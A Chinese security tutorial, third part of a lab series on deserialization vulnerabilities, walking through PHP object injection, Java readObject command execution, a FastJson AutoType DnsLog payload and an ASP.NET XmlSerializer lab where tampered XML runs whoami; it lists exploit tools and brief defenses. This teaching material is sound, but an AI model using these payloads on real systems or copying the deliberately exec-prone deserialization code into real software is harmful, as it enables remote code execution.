WEB常见漏洞之反序列化(靶场篇)3

本文涉及的产品
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
简介: WEB常见漏洞之反序列化(靶场篇)

serialize_demo5.php

<?php
    class maniac{
        public $test;
        function __construct(){
            $this->test = new x2();
        }
    }
    class x2{
        public $test2="phpinfo();";
    }
    $class1 = new maniac();
    print_r(serialize($class1))
?>

序列化值:O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}构造poc:


http://172.16.6.231/fanxulie/demo5.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

5.Java反序列化漏洞实验

Java中通常使用Java.io.ObjectOutputStream类中的writeObject方法进行序列化,java.io.ObjectInputStream类中的readObject方法进行反序列化。使用下面代码将字符串进行序列化和反序列化:

package com.company;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
public class Main{
    public static void main(String args[]) throws Exception {
        String obj = "hello";
        // 将序列化后的数据写入文件a.ser中,当序列化一个对象到文件时, 按照 Java 的标准约定是给文件一个 .ser 扩展名
        FileOutputStream fos = new FileOutputStream("a.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();
        // 从文件a.ser中读取数据
        FileInputStream fis = new FileInputStream("a.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 通过反序列化恢复字符串
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);
        ois.close();
    }
}

程序执行后生成a.ser文件,如图:

以十六进制查看a.ser文件内容,如图:

Java序列化数据格式始终以双字节的十六进制0xAC ED作为开头,Base64编码之后为rO0。之后的两个字节是版本号,通常为0x00 05。一个Java类的对象要想序列化成功,必须满足两个条件:

    该类必须实现java.io.Serializable接口。
    该类的所有属性必须是可序列化的,如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

    使用下面代码将对象序列化后存储到a.ser文件:

    package com.company;
    import java.io.ObjectOutputStream;
    import java.io.FileOutputStream;
    import java.io.Serializable;
    import java.io.IOException;
    // 定义一个实现 java.io.Serializable 接口的类Test
    class Test implements Serializable {
        public String cmd="calc";
        // 重写readObject()方法
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
            // 执行默认的readObject()方法
            in.defaultReadObject();
            // 执行打开计算器程序的命令
            Runtime.getRuntime().exec(cmd);
        }
    }
    public class Main{
        public static void main(String args[]) throws Exception{
            // 实例化对象test
            Test test = new Test();
            // 将对象test序列化后写入a.ser文件
            FileOutputStream fos = new FileOutputStream("a.ser");
            ObjectOutputStream os = new ObjectOutputStream(fos);
            os.writeObject(test);
            os.close();
        }
    }

    执行程序后生成a.ser文件,以十六进制格式查看文件内容,如图:

    最后5个字节分别为字符串长度和calc的ASCII值。因此,修改文件为下图所示,即notepad的ASCII值和长度:

    使用下面代码进行反序列化对象:

    package com.company;
    import java.io.ObjectInputStream;
    import java.io.FileInputStream;
    import java.io.Serializable;
    import java.io.IOException;
    // 定义一个实现 java.io.Serializable 接口的类Test
    class Test implements Serializable {
        public String cmd="calc";
        // 重写readObject()方法
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
            // 执行默认的readObject()方法
            in.defaultReadObject();
            // 执行打开计算器程序的命令
            Runtime.getRuntime().exec(cmd);
        }
    }
    public class Main{
        public static void main(String args[]) throws Exception{
            // 从a.ser文件中反序列化test对象
            FileInputStream fis = new FileInputStream("a.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Test objectFromDisk = (Test)ois.readObject();
            System.out.println(objectFromDisk.cmd);
            ois.close();
        }
    }

    程序执行后成功运行notepad,如图:

    6.FastJson反序列化漏洞简单实验

    FastJson作为史上最快的Json解析库应用也十分广泛,在1.2.69版本以下,其AutoType特性在反序列化过程中会导致反序列化漏洞,这个特性就是:在对JSON字符串进行反序列化的时候,会读取@type参数指定的类,然后把JSON内容反序列化为此类的对象,并且会调用这个类的设置(setter)方法。

    实验环境

      前端采用json提交用户名密码
      后台使用fastjson 1.2.24版本
      源码和WAR包GitHub地址
      https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment

      创建一个User类,用于查看序列化数据格式,如图:

      创建一个home类用于输出user对象的序列化数据,如图:

      创建一个login类用于获取前端页面提交的json格式用户名和密码数据,并使用JSON.parseObject方法进行反序列化解析json数据,在后台可看到提交的数据,如图:

      访问home页面可直接获取user对象序列化后的结果,如图:

      @type的值为对象所属的类,user和passwd分别为对象的用户名属性和密码属性。因此可以利用AutoType特性,构造一个使用@type参数指定一个攻击类库,包含类属性或方法的JSON字符串提交到服务器,在反序列化时调用这个类的方法达到执行代码的目的。通常使用java.net.Inet4Address类或java.net.Inet6Address类,通过val参数传递域名,利用DnsLog进行漏洞检测,即:{"@type":"java.net.Inet4Address","val":"DnsLog"}。在登录页面输入用户名和密码提交,拦截数据包,修改提交的Json数据,如图:

      虽然服务器返回错误信息,但Payload仍然被成功执行,在DnsLog网站可以看到解析记录,如图:虽然服务器返回错误信息,但Payload仍然被成功执行,在DnsLog网站可以看到解析记录,如图:

      要执行命令需要构造新的POP链,常用的POP链:

        基于JNDI注入
        基于ClassLoader
        基于TemplatesImpl

        7.ASP.NET反序列化实验

        .NET框架包含多个序列化类,BinaryFormatter,JavaScriptSerializer,XmlSerializer,DataContractSerializer,本实验以XML序列化和反序列化为例。实验环境

          采用Xml提交数据
          使用.NET Framework 4.6.1
          完整源码GitHub地址
          https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment

          使用下面代码定义一个Test类,包含执行ipconfig命令并返回执行结果的函数Run,使用XmlSerializer类将对象序列化后输出到页面:

          using System;
          using System.Diagnostics;
          using System.IO;
          using System.Text;
          using System.Xml.Serialization;
          namespace ASP.NETStudy
          {
              [Serializable]
              public class Test
              {
                  public string _cmd = "ipconfig";
                  public Test(string cmd)
          {
                      _cmd = cmd;
                  }
                  public Test()
          {
                  }
                  public String Run()
          {
                      Process p = new Process();
                      // 设置要启动的应用程序
                      p.StartInfo.FileName = "cmd.exe";
                      // 不使用操作系统shell启动
                      p.StartInfo.UseShellExecute = false;
                      // 接受来自调用程序的输入信息
                      p.StartInfo.RedirectStandardInput = true;
                      // 输出信息
                      p.StartInfo.RedirectStandardOutput = true;
                      // 输出错误
                      p.StartInfo.RedirectStandardError = true;
                      // 不显示程序窗口
                      p.StartInfo.CreateNoWindow = true;
                      // 启动程序
                      p.Start();
                      // 向cmd窗口发送命令
                      p.StandardInput.WriteLine(_cmd + "&exit");
                      // 自动刷新
                      p.StandardInput.AutoFlush = true;
                      // 获取输出信息
                      string strOuput = p.StandardOutput.ReadToEnd();
                      //等待程序执行完退出进程
                      p.WaitForExit();
                      p.Close();
                      // 返回执行结果
                      return strOuput;
                  }
              }
              public partial class _default : System.Web.UI.Page
              {
                  protected void Page_Load(object sender, EventArgs e)
          {
                      // 实例化对象 sc_Test
                      Test sc_Test = new Test();
                      // 创建字符串缓冲区buffer
                      StringBuilder buffer = new StringBuilder();
                      // 实例化序列号对象
                      XmlSerializer serializer = new XmlSerializer(typeof(Test));
                      // 序列化对象sc_Test并存储到buffer
                      using (TextWriter writer = new StringWriter(buffer))
                      {
                          serializer.Serialize(writer, sc_Test);
                      }
                      String str = buffer.ToString();
                      // 将xml数据HTML实体化,防止Windows安全检查拦截
                      string r = string.Empty;
                      for (int i = 0; i < str.Length; i++)
                      {
                          r += "&#" + Char.ConvertToUtf32(str, i) + ";";
                      }
                      // 输出到页面
                      Response.Write("<center><h2>序列化数据</h2><textarea rows=\"10\" cols=\"100\" readonly align=\"center\">" + r+ "</textarea></center>");
                  }
              }
          }

          使用下面代码将提交的XML数据反序列化,并执行对象的Run函数:

          using System;
          using System.IO;
          using System.Xml.Serialization;
          namespace ASP.NETStudy
          {
              public partial class info : System.Web.UI.Page
              {
                  protected void Page_Load(object sender, EventArgs e)
          {
                      if (Request.RequestType == "POST")
                      {
                          // 获取客户端提交的数据
                          StreamReader s = new StreamReader(Request.InputStream);
                          // 转换为String格式
                          String ss = s.ReadToEnd();
                          //Response.Write(ss);
                          // 定义反序列化对象
                          Test dsc_Test;
                          XmlSerializer serializer = new XmlSerializer(typeof(Test));
                          // 反序列化数据为dsc_Test对象
                          using (TextReader reader = new StringReader(ss))
                          {
                              Object obj = serializer.Deserialize(reader);
                              dsc_Test = (Test)obj;
                          }
                          // 调用对象的函数Run并返回执行结果到浏览器
                          Response.Write(dsc_Test.Run());
                      }
                  }
              }
          }

          正常情况下访问页面,返回序列化后的数据,如图:

          点击查看IP按钮后,客户端提交数据,如图:

          服务器执行命令后返回到客户端,如图:

          如果攻击者将传输的XML数据进行篡改,如图:

          服务器在反序列化后执行whoami命令,如图:

          0x03 靶场地址&工具推荐

          https://github.com/zhuifengshaonianhanlu/pikachu #皮卡丘靶场地址
          https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment #FastJson反序列化靶场地址
          https://github.com/NHPT/ASP.NET-Deserialization-Vulnerability-Experiment #ASP.NET反序列化靶场地址
          https://github.com/frohoff/ysoserial #JAVA反序列化工具
          https://github.com/ambionics/phpggc #PHP反序列化工具
          https://github.com/pwntester/ysoserial.net #.NET反序列化工具

          0x04 漏洞防御

          反序列化之前,先进行严格的数据类型校验。由于校验规则容易被攻击者探索出来,进而容易被绕过,因此防御不能仅依赖这一个手段,但可以作为完整性校验防御方案的补充。
          对反序列化过程进行详尽的日志记录,用以安全审计或调查。
          监控反序列化过程,在发现疑似反序列化攻击时进行警报。


          目录
          相关文章
          |
          16天前
          |
          安全 关系型数据库 MySQL
          Web安全-条件竞争漏洞
          Web安全-条件竞争漏洞
          27 0
          |
          12天前
          |
          缓存 移动开发 安全
          Web安全-HTTP响应拆分(CRLF注入)漏洞
          Web安全-HTTP响应拆分(CRLF注入)漏洞
          49 8
          |
          12天前
          |
          安全 关系型数据库 Shell
          Web安全-浅析CSV注入漏洞的原理及利用
          Web安全-浅析CSV注入漏洞的原理及利用
          18 3
          |
          14天前
          |
          安全 应用服务中间件 开发工具
          Web安全-SVN信息泄露漏洞分析
          Web安全-SVN信息泄露漏洞分析
          50 2
          |
          16天前
          |
          JSON 安全 JavaScript
          Web安全-JQuery框架XSS漏洞浅析
          Web安全-JQuery框架XSS漏洞浅析
          95 2
          |
          18天前
          |
          安全 搜索推荐 应用服务中间件
          Web安全-目录遍历漏洞
          Web安全-目录遍历漏洞
          20 2
          |
          18天前
          |
          XML JSON 安全
          Web安全-XXE漏洞
          Web安全-XXE漏洞
          14 1
          |
          1月前
          |
          数据库 开发者 Python
          web应用开发
          【9月更文挑战第1天】web应用开发
          41 1
          |
          28天前
          |
          数据可视化 图形学 UED
          只需四步,轻松开发三维模型Web应用
          为了让用户更方便地应用三维模型,阿里云DataV提供了一套完整的三维模型Web模型开发方案,包括三维模型托管、应用开发、交互开发、应用分发等完整功能。只需69.3元/年,就能体验三维模型Web应用开发功能!
          60 8
          只需四步,轻松开发三维模型Web应用
          |
          18天前
          |
          安全 API 开发者
          Web 开发新风尚!Python RESTful API 设计与实现,让你的接口更懂开发者心!
          在当前的Web开发中,Python因能构建高效简洁的RESTful API而备受青睐,大大提升了开发效率和用户体验。本文将介绍RESTful API的基本原则及其在Python中的实现方法。以Flask为例,演示了如何通过不同的HTTP方法(如GET、POST、PUT、DELETE)来创建、读取、更新和删除用户信息。此示例还包括了基本的路由设置及操作,为开发者提供了清晰的API交互指南。
          72 6